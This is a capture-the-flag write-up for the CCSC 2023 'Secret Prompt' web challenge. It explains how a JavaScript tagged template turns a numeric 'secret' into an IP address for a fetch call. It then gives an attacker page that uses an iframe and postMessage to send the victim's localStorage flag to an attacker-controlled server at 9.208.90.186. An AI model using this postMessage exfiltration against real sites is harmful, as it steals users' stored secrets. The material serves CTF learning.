CCSC 2023 Secret Prompt

21/07/2023 - 4 minutes

2023 ccsc ctf ctfs hacking javascript magic web weird

Table of contents

Description

We believe the machines came up with their own mechanism to keep humans out. Deceive the machines. Make them believe you are one of them and retrieve

Author: koks

Enumeration

There is no source provided so lets start an instance of the challenge and enumerate!( I really like the theme choice) image_1_984d6156.png Simply viewing the source code we can easily spot the part of interest for us. Which is the below JavaScript snippet. The first part of the functionality as seen below is some kind of secret submission

Reviewing source code

<script>
	   onmessage = (e) => {
		   const secret = parseInt(e.data.secret)
		   const prompt = e.data.prompt
		   // let's go
		   if (!Number.isSafeInteger(secret)) { return error.innerText = "Bad Secret :(" }
		   // be positive
		   if (secret <= 0) { return error.innerText = "Bad Secret :(" }
		   // i don't like odds
		   if (secret % 2 !== 0) { return error.innerText = "Bad Secret :(" }
		   // build a function
		   ((_, ...s) => fetch(`//${s[1]}?p=${s[2]}&k=${s[0]}`))
		   // secret instructions
		   `I'll give you a ${localStorage["gift"]} if you know the ${secret} ${prompt}! 🎁`
		   // good luck & goodbye
	   };
	   ontry = () => (error.innerText = "") || postMessage({ secret: a.value, prompt: b.value });
</script>

The second part of the functionality comes down to the Page Summarizer which essentially just submits a url to the summarize endpoint and supposingly some kind of bots visits the url.

Let's read through the js part an see what is happening to our inputs when we click submit. Supposingly 2 parameters exist secret of type int and prompt which is not subjected to any kind of checks.

Secret checking

Secret checks:

  1. Must be a an int and more precisely a safeInt(The safe integers consist of all integers from -(253 - 1) to 253 - 1)
  2. Must be bigger than 0 so positive
  3. Must be even

Then the code goes on trying to supposingly build a function with this weird syntax ((_, ...s) => fetch(//${s[1]}?p=${s[2]}&k=${s[0]}))

I will be very honest I don't understand anything about how this might help with the challenge or how it works... This is where I stopped attempting static analysis and went on to dynamic analysis

Let's test the inputs 2 for secret and hello for prompt

image_2_984d6156.png If we visit the network tab there seems to be a failed http request to http://0.0.0.2/?p=hello&k=undefined

At the start I was very confused but after some time it clicked. The ip address requested is made up from the secret input and the prompt is the p parameter and then i have no idea what k is and no matter what i do it is undefined... I was stuck again...

Debugging

I was desperate hence I used the JavaScript debugger and set a break point to the line building the weird function.

image_3_984d6156.png

I don't know if this was good or bad, but the function is only created here how is it also executed(so many questions popped in mind).

The only logical explanation about how the function is called then, must be that this line I'll give you a ${localStorage["gift"]} if you know the ${secret} ${prompt}! 🎁 calls it... I placed a breakpoint there to and just watched a random piece of text in backticks call a function and if that wasn't enough the parameters in the string that are kind of templated with ${} are provided as an expanding array named s in the function.

Enumeration summary

To summarize: s[0] -> ${localStorage["gift"]} s[1] -> ${secret} s[2] -> ${prompt}

But then the question of how was the number 2 turned to 0.0.0.2 in fetch?

There are 2 options here either understand how it works and generate a number that will generate an ip address that will match an attacker controlled server or simply bruteforce it using some guessing and simple logic

Exploitation

Well all that info is nice but how do we get the flag sitting on the remote server?

Exploitation summary

Lets summarize once more what we have

Ok so what if we create an attacker page with a script that creates an iframe essentially rendering the challenge. Then use the iframe.contentWindow.postMessage function to post a message to our own controlled ip address with the flag?

Let's do it:

Page to summarize

<iframe id="myIframe" src="http://challenges.cybermouflons.com:10091"></iframe>
<script>
	var iframe = document.createElement('myIframe');
	iframe.contentWindow.postMessage({ secret: 0164649658, prompt: "from evangelospro.com" }, 'http://challenges.cybermouflons.com:10091');
</script>

Then on the ip 9.208.90.186(0164649658) lets start a python webserver and listen for the flag

Results

I must agree with the flag here the whole Javascript thing here seems like magic to me and never stops to impress me with it's weirdness. I will never understand how one of the core libraries powering the current 'world wide web' can be so unstable and confusing to read and understand, with so many weird exceptions in behavior. But that is just my two cents take it as you will. At last I must also say that i am very impressed with the challenge authors' knowledge of JS as last year he also presented another weird JavaScript magic in last years CCSC 2022

Closing meme

image_5_984d6156.jpg